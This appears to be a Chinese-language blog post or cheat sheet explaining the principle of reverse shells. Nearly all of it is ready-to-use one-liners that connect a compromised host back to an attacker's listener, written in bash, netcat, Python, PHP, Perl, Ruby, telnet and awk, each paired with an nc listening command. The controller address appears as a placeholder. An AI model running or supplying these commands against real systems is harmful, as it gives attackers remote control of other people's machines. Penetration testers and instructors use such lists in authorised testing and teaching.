反弹SHELL的原理
远程系统(通常是我们自己的监听机,具备独立外网IP地址,或者是被控机可以直接访问的机器)监听一个TCP/UDP端口,本地系统(被控机)运行反弹shell,反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。
bash反弹SHELL
监听机通过netcat监听一个端口,例如我们这里监听7777端口
nc -lvp 7777
被控机通过bash连接监听机的端口
bash -i 1> /dev/tcp/控制端ip/7777 0>&1 2>&1
NC反弹SHELL
监听机监听一个端口
nc -lvp 7777
被控机通过netcat连接监听机
被控端:nc 控制端ip 控制端端口 -e /bin/bash 2>&1>/dev/null &
但是这里有一个问题,原生apt安装的netcat是不能添加-e参数的,需要我们自己上传二进制,我们可以利用下面的方法解决这个问题。
监听机开两个监听,分别监听6666 和 7777 端口
nc -lvp 6666
nc -lvp 7777
被控端
nc 控制端ip 6666 | /bin/bash | nc 控制端ip 7777
python反弹SHELL
控制端:nc -lvvp 端口
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端ip",控制端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
- 优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。
- 缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、&、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。
PHP反弹SHELL
控制端:nc -lvvp 端口
被控端:php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
perl反弹SHELL
控制端:nc -lvvp 端口
被控端:perl -e 'use Socket;$i="控制端ip";$p=控制端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
ruby反弹SHELL
控制端:nc -lvvp 端口
被控端:ruby -r socket -e 'exit if fork;c=TCPSocket.new("控制端ip","控制端端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
telnet反弹SHELL
控制端:nc -lvvp 端口
被控端:mknod backpipe p && telnet 控制端ip 控制端端口 0<backpipe | /bin/bash 1>backpipe
awk反弹SHELL
控制端:nc -lvvp 端口
被控端:awk 'BEGIN{s="/inet/tcp/0/控制端ip/控制端端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
评论 (0)